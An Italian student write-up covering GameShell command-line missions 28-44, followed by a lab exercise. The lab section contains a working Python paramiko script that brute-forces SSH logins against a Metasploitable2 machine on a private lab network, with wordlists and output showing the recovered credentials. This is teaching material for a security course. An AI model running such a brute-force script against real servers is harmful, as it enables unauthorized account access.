```
Mission goal
============

The old hermit is thirsty and he would like you lookup the recipe for distilled
water.

In order to validate the mission, you need to be in the cave with Servillus
**and** your last command prior to ``gsh check`` must show the steps for the
recipe and nothing else.

Note: you shouldn't alter the content of the book of potions.
```

Per la risoluzione di questo esercizio useremo nuovamente cat concatenando i file e poi una combinazione tra **tail** ed **head** per recuperare solo la parte che ci interessa:

```
~/Mountain/Cave
[mission 28] $ head -n 6 Book_of_potions/page_13 | tail -n 3
1) Boil water in a big pot.
2) Condense the vapor in a fresh container.
3) Add minerals for a better taste (optional).

~/Mountain/Cave
[mission 28] $ gsh check

Congratulations, mission 28 has been successfully completed!
```

Come possiamo vedere utilizziamo la combinazione di **head -n 6 e tail -n 3** così da prendere nella prima parte solo le prime 6 righe e successivamente le ultime 3.

Livello 29:

```
( ___ )
 |   |
 | / |  Mission goal
 | / |  ============
 | / |
 | / |  A mischievous imp cast a spell that puts smudges of coal everywhere in the
 | / |  castle.
 | / |  Find this spell and remove it.
 | / |
 | / |  Remark
 | / |  ------
 | / |
 | / |  The spell is a process.
 | / |
```

Per la risoluzione di questo esercizio andremo ad utilizzare dei nuovi comandi ovvero ps per vedere i processi e **kill** per uccidere un determinato processo da noi scelto ecc:

```
~/Mountain/Cave
[mission 29] $ ps
    PID TTY          TIME CMD
   2177 pts/0    00:00:00 zsh
   2308 pts/0    00:00:00 bash
   2401 pts/0    00:00:00 bash
  39203 pts/0    00:00:00 spell
  41064 pts/0    00:00:00 ps
```

Il processo 39203 è la **spell** che dobbiamo rimuovere quindi:

```
kill 39203

~/Mountain/Cave
[mission 29] $ gsh check

Congratulations, mission 29 has been successfully completed!
```

Come possiamo vedere uccidendo il processo la missione viene correttamente completata.

Livello 30:

```
 .-------------------------------------------------------------------------.
/  .-.                                                                      |
  /   \                                                                     |
 |\_.  |   Mission goal                                                     |
\|  | /|   ============                                                     |
 `___' |                                                                    |
       |   The mischievous imp has more than one trick up his sleeve. He managed to |
       |   protect his spell against most tampering.                        |
       |   You need to find this spell and try to remove it with standard signal. If it |
       |   doesn't work, use a more brutal signal.                          |
       |                                                                    |
```

Per la risoluzione di questo esercizio utilizzeremo sempre **ps** e **kill** precedentemente visti e successivamente un approccio più brutale:

```
   PID TTY          TIME CMD
  2177 pts/0    00:00:00 zsh
  2308 pts/0    00:00:00 bash
  2401 pts/0    00:00:00 bash
 44016 pts/0    00:00:00 spell
 44543 pts/0    00:00:00 ps
```

Il processo 44016 è solo il primo di una serie di processi da eliminare ecco l'ultimo:

```
kill -9 47765

~/Mountain/Cave
[mission 30] $ ps
    PID TTY          TIME CMD
   2177 pts/0    00:00:00 zsh
   2308 pts/0    00:00:00 bash
   2401 pts/0    00:00:01 bash
  48115 pts/0    00:00:00 ps

~/Mountain/Cave
[mission 30] $ gsh check

Congratulations, mission 30 has been successfully completed!
```

Come possiamo vedere utilizzando il comando più brutale **kill -9** i processi vengono completamente killati.

Livello 31:

```
 (_\                                                                    \
    |  Mission goal                                                     |
    |  ============                                                     |
    |                                                                   |
    |  The imp is comparing his magic with a fairy. They met in the cellar, and imp is  |
    |  conjuring lumps of coal while the fairy is conjuring delicate snowflakes.        |
    |                                                                   |
    |  Remove the imp's spells and the coal that litters the cellar, but don't touch    |
    |  the snowflakes!                                                  |
    |                                                                   |
```

Per la risoluzione di questo esercizio utilizzeremo il comando **pstree** per vedere i processi figli e killarli:

```
~/Mountain/Cave
[mission 31] $ pstree -p 194788
mischievous_imp(194788)─┬─spell(194803)───sleep(204554)
                        ├─spell(194805)───sleep(204625)
                        ├─spell(194807)───sleep(204714)
                        └─tail(194809)

~/Mountain/Cave
[mission 31] $ kill 194803 194805 194807
```

Utilizzando pstree -p andiamo a visualizzare i processi figli dell' imp

```
19959_coal        29380_coal        38780_coal        4998_snowflake    59687_snowflake
19963_snowflake   29699_snowflake   3883_snowflake    50089_coal        59693_coal
19988_coal        30193_coal        39471_snowflake   50135_snowflake   59978_snowflake
20043_coal        30229_snowflake   39610_snowflake   50181_coal        59993_coal

~/Castle/Cellar
[mission 31] $ rm *_coal
g
~/Castle/Cellar
[mission 31] $ gsh check

Congratulations, mission 31 has been successfully completed!
```

In fine rimuoviamo con **rm** il carbone e attuiamo la verifica di completamento.

Livello 32:

```
Mission goal
============

To get better in the magical art, one needs to know mental math.

Get ready, because Merlin is about to test your precision with sums.

Run the command ``gsh check`` to start.
```

Semplice esercizio matematico di somme:

```
~/Castle/Cellar
[mission 32] $ gsh check
16 + 95 = ?? 111
67 + 85 = ?? 152
88 + 76 = ?? 164
62 + 56 = ?? 118
52 + 62 = ?? 114

Congratulations, mission 32 has been successfully completed!
```

Basta effettuare le somme e l'esercizio sarà completato.

Livello 33:

```
Mission goal
============

To get better in the magical art, one needs to know mental math.

Get ready, because Merlin is about to test your speed with products.

Run the command ``gsh check`` to start.
```

Per la risoluzione di questo esercizio dovremmo trovare il libro di matematica nella libreria e sconfiggere merlino ridirigendo l'input:

```
~/Castle/Main_building/Library
[mission 33] $ gsh check < Mathematics_101
27 * 62 = ?? 42 * 54 = ?? 13 * 29 = ?? 100 * 21 = ?? 67 * 90 = ?? 70 * 36 = ?? 79 * 4 = ?? 24 * 90 = ?? 72 *
83 = ?? 85 * 93 = ?? 70 * 36 = ?? 94 * 96 = ?? 85 * 24 = ?? 74 * 11 = ?? 67 * 69 = ?? 35 * 43 = ?? 74 * 68 =
?? 59 * 6 = ?? 4 * 5 = ?? 12 * 78 = ?? 14 * 18 = ?? 41 * 100 = ?? 78 * 86 = ?? 48 * 39 = ?? 100 * 55 = ?? 74
* 88 = ?? 46 * 20 = ?? 56 * 99 = ?? 18 * 62 = ?? 37 * 72 = ?? 26 * 99 = ?? 23 * 11 = ?? 6 * 32 = ?? 42 * 13 =
 ?? 60 * 45 = ?? 57 * 83 = ?? 35 * 67 = ?? 11 * 26 = ?? 82 * 26 = ?? 10 * 94 = ?? 88 * 29 = ?? 59 * 57 = ?? 3
4 * 63 = ?? 35 * 54 = ?? 81 * 64 = ?? 70 * 66 = ?? 7 * 75 = ?? 35 * 75 = ?? 89 * 3 = ?? 26 * 67 = ?? 79 * 41
= ?? 98 * 45 = ?? 9 * 76 = ?? 9 * 37 = ?? 47 * 44 = ?? 56 * 40 = ?? 78 * 7 = ?? 80 * 72 = ?? 60 * 37 = ?? 8 *
 8 = ?? 65 * 100 = ?? 67 * 91 = ?? 76 * 48 = ?? 66 * 79 = ?? 39 * 94 = ?? 54 * 46 = ?? 49 * 54 = ?? 55 * 13 =
 ?? 10 * 56 = ?? 74 * 81 = ?? 61 * 97 = ?? 12 * 92 = ?? 79 * 24 = ?? 55 * 49 = ?? 53 * 94 = ?? 43 * 12 = ?? 3
5 * 95 = ?? 79 * 74 = ?? 47 * 90 = ?? 1 * 97 = ?? 27 * 2 = ?? 65 * 98 = ?? 18 * 8 = ?? 18 * 21 = ?? 37 * 36 =
 ?? 39 * 2 = ?? 71 * 67 = ?? 33 * 28 = ?? 91 * 30 = ?? 31 * 46 = ?? 58 * 52 = ?? 72 * 84 = ?? 20 * 79 = ?? 40
 * 74 = ?? 57 * 63 = ?? 49 * 4 = ?? 61 * 5 = ?? 81 * 94 = ?? 100 * 46 = ?? 53 * 8 = ??
Congratulations, mission 33 has been successfully completed!
```

Come possiamo vedere in questa maniera i calcoli vengono effettuati ultra velocemente e completando l'esercizio.

Livello 34:

```
Mission goal
============

Merlin's old spell books are kept in his office, in the library. You need
to save a list of all those spell books (and nothing else) in a file called
"inventory.txt", in the drawer ...
```

Per la risoluzione di questo esercizio utilizzeremo il comando > per inviare l'output in un file invece di stamparli

```
~/Castle/Main_building/Library/Merlin_s_office
[mission 34] $ ls grimoire_* > Drawer/inventory.txt

~/Castle/Main_building/Library/Merlin_s_office
[mission 34] $ gsh check

Congratulations, mission 34 has been successfully completed!
```

Come possiamo vedere inseriamo in input tutti grimori nel file inventory.txt completando l'esercizio.

Livello 35:

```
Mission goal
============

Merlin's old alchemy books are kept in his office, in the library. You need to
output a list of all the books containing the alchemical compound 'gsh' (for
"Glutathione").
Beware, it can be spelled with a mix of letters in upper and lowercase.

Some of those books are locked, and you are not allowed to consult them. Ignore
them.
```

Per la risoluzione di questo esercizio dobbiamo trovare tutti i libri che contengono la parola ghs minuscola o maiuscola, per fare ciò utilizzeremo **grep** e 2> /dev/null per non stampare messaggi di errore di libri bloccati:

```
~/Castle/Main_building/Library/Merlin_s_office
[mission 35] $ grep -li "gsh" grimoire_* 2> /dev/null
grimoire_ajiLzBSkrcluoKDYO
grimoire_BaDurzmSMUiSdkqfaVuvW
grimoire_BIrBCNve
grimoire_CqvwPKViZGfX
grimoire_GEbYbgIIVENhstHPMzyh
grimoire_GNEzKIoHaxTILpCVyk
grimoire_hqohhBoSosrrwUvu
grimoire_JwjIZznAEdOoHZKDdi
grimoire_kvzXZFHyMwwYLJs
grimoire_LcBplfcKsMEYKjtygedBKmArxvrz
grimoire_MKxmmwlKFsqCfjuaAbkgwajAVZi
grimoire_MYZGNNOICBC
grimoire_oQxNSTbphxYFqQTaKNhFxfa
grimoire_rmTSPMKTWkPCJnewnR
grimoire_SGHOTORfeFSGzCOQII
grimoire_ugKwrQjSuPruBJpvNhpIsayGINrRiXB
grimoire_XRTjgWHaeEA
grimoire_xUqVicGiMmLqjUfzcXy
grimoire_zIIWIePCeH

~/Castle/Main_building/Library/Merlin_s_office
[mission 35] $ gsh check

Congratulations, mission 35 has been successfully completed!
```

Livello 36:

```
(0)══)>◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇<)═(0)
   \/''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''/
    (                                                                (
     )  Mission goal                                                  )
    (   ════════════                                                 (
     )                                                                )
    (   Merlin has turned crazy ... He paces around the observatory tower and mumbles   (
     )  incoherently.                                                 )
    (                                                                (
     )  You need to filter out his ramblings to discover the secret key he is the only   )
    (   one to know.                                                 (
```

Per la risoluzione di questo esercizio dovremmo usare i comandi < e > per estrarre la chiave segreta nell' osservatorio e rimuovere eventuali errori con /dev/null:

```
~/Castle/Observatory
[mission 36] $ ./merlin > /dev/null 2> chiave.txt

~/Castle/Observatory
[mission 36] $ gsh check < chiave.txt
What is the secret key?
Congratulations, mission 36 has been successfully completed!
```

Livello 37:

```
/  .-.                                                           |
  /   \                                                          |
 |\_.  |   Mission goal                                          |
\|  | /|   ════════════                                          |
 `---' |                                                         |
       |   The door to the King's quarter is in the throne room. |
       |   Go to the King's quarter.                             |
```

Per la risoluzione di questo esercizio dovremmo utilizzare chmod per entrare nella stanza dato che la cartella ha permessi di lettura o esecuzione bloccati:

```
~/Castle/Main_building/Throne_room
[mission 37] $ chmod 777 Kings_quarter/

~/Castle/Main_building/Throne_room
[mission 37] $ cd Kings_quarter/

~/Castle/Main_building/Throne_room/Kings_quarter
[mission 37] $ gsh check

Congratulations, mission 37 has been successfully completed!
```

Come possiamo vedere utilizziamo direttamente per velocità i numeri 777 per dare tutti i permessi e permetterci di entrare nella cartella di kings_quarter.

Livello 38:

```
(0)══)>◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇<)═(0)
   \/''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''/
    (                                                                (
     )  Mission goal                                                  )
    (   ════════════                                                 (
     )                                                                )
    (   The King is rumored to keep the combination to his safe written on a note in   (
     )  his room.                                                     )
    (   Find that combination.                                       (
```

Per la risoluzione di questo esercizio dobbiamo trovare la combinazione della cassaforte che però è illeggibile, questo perché non ha i permessi di lettura, per questo riutilizzeremo chmod e assegneremo il permesso al file direttamente:

```
~/Castle/Main_building/Throne_room/Kings_quarter
[mission 38] $ chmod +r .secret_note

~/Castle/Main_building/Throne_room/Kings_quarter
[mission 38] $ cat .secret_note
5306639672
```

Ora facciamo gsh check ed inseriamo la combinazione corretta:

```
~/Castle/Main_building/Throne_room/Kings_quarter
[mission 38] $ gsh check
What's the combination to open the King's safe? 5306639672

Congratulations, mission 38 has been successfully completed!
```

Livello 39:

```
 / \                                                                    \.
|   | Mission goal                                                      |.
 \_ | ============                                                      |.
    |                                                                   |.
    | The safe in the throne room contains the king's crown.            |.
    | Steal it and store it in your chest.                              |.
    |                                                                   |.
    | Also, the base of the crown is inscribed with a magical sequence of digits.  |.
    | Look at those digits and remember them.                           |.
    |                                                                   |.
```

Per la risoluzione di questo esercizio dobbiamo rubare la corona del re all'interno della cassaforte e metterla nella nostra Chest quindi utilizzeremo chmod per dare i permessi alle varie cartelle bloccate ecc:

```
~/Castle/Main_building/Throne_room
[mission 39] $ chmod 777 Safe/

~/Castle/Main_building/Throne_room
[mission 39] $ cd Safe/

~/Castle/Main_building/Throne_room/Safe
[mission 39] $ chmod 777 crown

~/Castle/Main_building/Throne_room/Safe
[mission 39] $ cat crown
   _.+._          jgs
(^\/^\/^)
 \@*@*@/
 {_796_}
```

```
~/Castle/Main_building/Throne_room/Safe
[mission 39] $ chmod 777 ../../../../Forest/Hut/Chest/crown

~/Castle/Main_building/Throne_room/Safe
[mission 39] $ gsh check
What are the 3 digits inscribed on the base of the crown? 796

Congratulations, mission 39 has been successfully completed!
```

Livello 40:

```
Mission goal
Look for the ruby in the maze in the garden, and move it to your chest.
```

Per la risoluzione dell'esercizio andremo ad utilizzare find con dei comandi speciali che ci permetteranno di trovare i file che contengono la parola ruby al loro interno

```
[mission 40] $ find . -type f -exec grep -1 "ruby" {} +
./Maze/323c90de32e450c3103373/8b66ac315d84419c161fdf904cf91/973f3f6fe9cc29f84aa72bc1/42437:42437 ruby 14850ec
1076aa1cf1e53fb0a41318534e0a2aed1
```

```
~/Garden
[mission 40] $ mv -f ./Maze/323c90de32e450c3103373/8b66ac315d84419c161fdf904cf91/973f3f6fe9cc29f84aa72bc1/424
37 ~/Forest/Hut/Chest/

~/Garden
[mission 40] $ gsh check

Congratulations, mission 40 has been successfully completed!
```

Livello 41:

```
Mission goal
Combine several commands with "|" in order to find the diamond in the maze, and
move it to your chest.
```

Per la risoluzione di questo esercizio come nel precedente andremo ad utilizzare il pipe (|) e xargs per trovare il diamante nascosto nel labirinto e spostarlo con mv nella Chest:

```
~
[mission 41] $  find . -type f | xargs grep -l "diamond"
./Garden/Maze/4dc795f230c2bbd90fef663/03122192f9679/facdee8e5668d6a3
```

```
~
[mission 41] $ mv -f ./Garden/Maze/4dc795f230c2bbd90fef663/03122192f9679/facdee8e5668d6a3 Forest/Hut/Chest/
^[[3~
```

```
~
[mission 41] $ gsh check

Congratulations, mission 41 has been successfully completed!
```

Come possiamo vedere prendiamo l'output del find e lo formattiamo per leggerlo correttamente con xargs e con grep cerca la parola specifica nel testo o file ed il -l serve per mostrare solo il nome del file in cui ha trovato la parola. In questo caso il file è il fac.. che ha ad il suo interno il testo diamond.

Livello 42:

```
Mission goal

Next to the castle, there is a merchant stall. People often buy on credit and
reimburse their debt when they can.
The shopkeeper keeps books on everyone's debt on a scroll. Whenever someone
pays his debt, he inscribes "PAID" next to the corresponding transaction.

Combine several commands with ``|`` in order to find the King's debt.
```

Per risolvere l'esercizio dobbiamo trovare il debito del re che ancora non è stato pagato, il mercante scrive "PAID" vicino alle transazioni saldate quindi dovremmo trovare quella in cui è assente tale dicitura. Tutto questo utilizzando solo 3 comandi in totale:

```
(0)
~/Stall
[mission 42] $ grep "King" * | grep -v "PAID"
40edbf7358e8_s_c_r_o_l_l_40edbf7358e8fd79:the King bought a ruby for 4 coppers.
40edbf7358e8_s_c_r_o_l_l_40edbf7358e8fd79:the King bought an apple for 3 coppers.
40edbf7358e8_s_c_r_o_l_l_40edbf7358e8fd79:the King bought a dented helmet for 6 coppers.
40edbf7358e8_s_c_r_o_l_l_40edbf7358e8fd79:the King bought a bag flour for 6 coppers.
(1)
~/Stall
[mission 42] $ gsh check
How much does the king owe? 19

Congratulations, mission 42 has been successfully completed!
```

dopo essere entrati nella stalla con un singolo comando cd utilizziamo il comando grep per cercare i file con la dicitura King e -v PAID ovvero dove è assente (inverte la corrispondenza).

Livello 43:

```
Mission goal
============

Combine several commands with ``|`` in order to find the number of unpaid
items.
```

Per la risoluzione di questo esercizio possiamo utilizzare solamente un unico comando con l'obbiettivo di contare il numero totale di oggetti non pagati alla bancarella, utilizzeremo sempre grep -v e anche il comando wc(word count) -l conta quante righe utilizzeremo e poi le trasformeremo in un singolo numero ovvero il totale non pagato:

```
~/Stall
[mission 43] $ grep -v "PAID" * | wc -l
72
(1)
~/Stall
[mission 43] $ gsh check
How many unpaid items are there? 72

Congratulations, mission 43 has been successfully completed!
```

Come possiamo vedere otteniamo un singolo numero ovvero tutti gli oggetti non pagati completando la missione.

Livello 44:

```
Mission goal
============

A secret message has been found, it is kept in the drawer in Merlin's office.
It was probably enciphered using a Caesar shift cipher.

Decrypt it by making an exhaustive search from the command line.

Hint
----

All other secret messages that have been found were using a shift between 10
and 16.
```

Alessandro Accordino

Per la risoluzione di questo livello dobbiamo decifrare un messaggio nascosto nel cassetto dell'ufficio di merlino, protetto dal cifrario di Giulio Cesare ovvero un cifrario a sostituzione. Utilizziamo il comando tr(translate) per decifrare il testo facendo dei tentativi capiamo che lo spostamento delle lettere è di 13:

```
~/Castle/Main_building/Library/Merlin_s_office/Drawer
[mission 44] $ cat secret_message | tr "a-zA-Z" "n-za-mN-ZA-M"
here is my will:
you will get my chest, and everything it contains.
this chest is in the cellar, and the word to make
it re-appear is: xqob
merlin the enchanter

~/Castle/Main_building/Library/Merlin_s_office/Drawer
[mission 44] $ gsh check
What's the key that will make Merlin's chest to appear?
xqob

Congratulations, mission 44 has been successfully completed!
```

```
Congratulations, mission 44 has been successfully completed!

[ progress was saved in /home/kali/gameshell-save.sh ]

   \  :  /      \  :  /      \  :  /      \  :  /      \  :  /
`. __/ \__ .' `. __/ \__ .' `. __/ \__ .' `. __/ \__ .' `. __/ \__ .'
_ _\    /_ _ _ _\    /_ _ _ _\    /_ _ _ _\    /_ _ _ _\    /_ _
  /_   _\      /_   _\      /_   _\      /_   _\      /_   _\
 .' \ /  `.   .' \ /  `.   .' \ /  `.   .' \ /  `.   .' \ /  `.
   /  |  \      /  :  \      /  :  \      /  :  \      /  |  \
      |                                                   |
   \  |  /                                           \  |  /
`. __/ \__ .'                                       `. __/ \__ .'
_ _\    /_ _                                       _ _\    /_ _
  /_   _\                                             /_   _\
 .' \ /  `.     CONGRATULATIONS!                     .' \ /  `.
   /  |  \                                             /  |  \
      |                                                   |
   \  |  /      You have finished all the missions.       \  |  /
`. __/ \__ .'                                       `. __/ \__ .'
_ _\    /_ _                                       _ _\    /_ _
  /_   _\                                             /_   _\
 .' \ /  `.                                          .' \ /  `.
   /  |  \                                             /  |  \
      |                                                   |
   \  |  /      \  :  /      \  :  /      \  :  /      \  |  /
`. __/ \__ .' `. __/ \__ .' `. __/ \__ .' `. __/ \__ .' `. __/ \__ .'
_ _\    /_ _ _ _\    /_ _ _ _\    /_ _ _ _\    /_ _ _ _\    /_ _
  /_   _\      /_   _\      /_   _\      /_   _\      /_   _\
 .' \ /  `.   .' \ /  `.   .' \ /  `.   .' \ /  `.   .' \ /  `.
   /  :  \      /  :  \      /  :  \      /  :  \      /  :  \
```

Come possiamo vedere con il comando tr gli abbiamo detto di sovrapporre la prima stringa che va dalla a alla z o A e Z alla seconda stringa; quindi, quando legge dalla a alla z deve sovrapporre la seconda stringa che shifta l'alfabeto di 13 posizioni.

Alessandro Accordino

Attacco Brute-Force su SSH

Per la risoluzione di questo esercizio andremo ad utilizzare come macchina attaccante la macchina **kali linux** mentre la macchina metasploit2 sarà il bersaglio su cui attueremo il Brute-Force per tirare fuori la password di accesso. Ovviamente le macchine sono in una intranet e configurate con i seguenti indirizzi IP **: Kali(192.168.50.100) e Meta(192.168.50.101).**

Per eseguire l'attacco creeremo due file uno contenente una lista di password(Nome_Password.txt) e uno una lista di nomi utenti(Nome_Utenti.txt) comuni. Successivamente creeremo il codice in Python che si occuperà di eseguire il Brute-Force:

```
123456
password
admin
ForzaRoma
adolf
121212
msfadmin
```

*Nome_Password.txt

```
msfadmin
root
user
benito
messi
rossi
admin
```

*Nome_Utenti.txt

```
import paramiko

lista_utenti = open('Nome_Utenti.txt').read().splitlines()
lista_passwords = open('Nome_Password.txt').read().splitlines()
ip = "192.168.50.101"

for utenti in lista_utenti:
    for passw in lista_passwords:
        print(f"Provo {utenti}:{passw}")
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        try:
            ssh.connect(ip, 22, utenti, passw, timeout=3)
            print(f"\n TROVATO! User: {utenti} | Pass: {passw}")
            exit()
        except:
            pass
        finally:
            ssh.close()


print(" Non trovato")
```

Analisi del codice:

Per questo compito è necessaria una nuova libreria mai vista ovvero Paramiko:

import paramiko

- Si occupa di importare la libreria Paramiko, ovvero una libreria che ci permette di connetterci via SSH e quindi anche eseguire comandi su server remoti.

lista_utenti = open('Nome_Utenti.txt').read().splitlines()

- open('Nome_Utenti.txt') si occupa di aprire il file
- .read() legge tutto il nostro file
- .splitlines() divide il testo in una lista riga per riga così che

lista_passwords = open('Nome_Password.txt').read().splitlines()

- Stessa cosa ma per le password stavolta.

ip = "192.168.50.101"

- Indichiamo l'indirizzo IP del server a cui tentare la connessione, ovvero la macchina meta(192.168.50.101).

Doppio ciclo: for utenti in lista_utenti:

- Creiamo la variabile utenti che scorre ogni elemento nella lista utenti così da contenere ogni username uno alla volta.
  for passw in lista_passwords:
  - Essendo una for annidata ovvero una for dentro una for in questo caso per ogni utente prova ogni password dal file Nome_Password.txt.

print(f"Provo {utenti}:{passw}")

- Stampa a schermo la nostra combinazione ogni volta fatta dalle for annidate
- F"" è una stringa formattata serve per
- {utenti} e {passw} inseriamo i valori reali

ssh = paramiko.SSHClient()

- **Serve per creare un oggetto client SSH per stabilire la connessione**

ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

- Dato che normalmente SSH verifica la chiave del server utilizziamo:
- AutoAddPolicy() accetta automaticamente qualsiasi chiave ed evita errori di verifica permettendoci di connetterci.

Entriamo nel blocco try per gestire eventuali errori di connessione

ssh.connect(ip, 22, utenti, passw, timeout=3)

- Tentativo di connessione, Inseriamo I parametri di connessione ovvero ip, porta SSH, username, password e un timeout per massimo 3 secondi di attesa. Se la connessione è sbagliata viene generata un'eccezione

print(f"\n TROVATO! User: {utenti} | Pass: {passw}")

- Se la connessione avviene con successo invece stampa la combinazione valida

exit()

- Termina immediatamente il codice

except:

pass

- Diciamo che se la connessione fallisce non fa nulla e continua con la combinazione successiva

finally:

ssh.close()

- Chiude sempre la connessione anche se c'è un errore per liberare risorse

print(" Non trovato")

- Stampa Non trovato se non dovesse trovare nulla.

Esecuzione:

Andiamo ad inserire nel terminale di **kali "oHostKeyAlgorithms=+ssh-rsa"** per permettere la comunicazione specificando di accettare anche **ssh-rsa** anche se è vecchio altrimenti verrebbe bloccato non permettendo la comunicazione con **meta**:

```
┌──(kali㉿kali)-[~]
└─$ oHostKeyAlgorithms=+ssh-rsa

┌──(kali㉿kali)-[~]
└─$
```

Eseguiamo lo script e osserviamo il funzionamento:

```
┌──(kali㉿kali)-[~/Desktop]
└─$ python3 TestBrute_ssh.py
```

```
┌──(kali㉿kali)-[~/Desktop]
└─$ python3 TestBrute_ssh.py
Provo msfadmin:123456
Provo msfadmin:password
Provo msfadmin:admin
Provo msfadmin:ForzaRoma
Provo msfadmin:adolf
Provo msfadmin:121212
Provo msfadmin:msfadmin

 TROVATO! User: msfadmin | Pass: msfadmin
```

Come possiamo vedere vengono effettuati vari tentativi e come scritto nel codice per ogni tentativo dove la combinazione è incorretta passa alla combinazione successiva. Nel nostro caso dopo 7 tentativi siamo riusciti a trovare la corrispondenza user /password.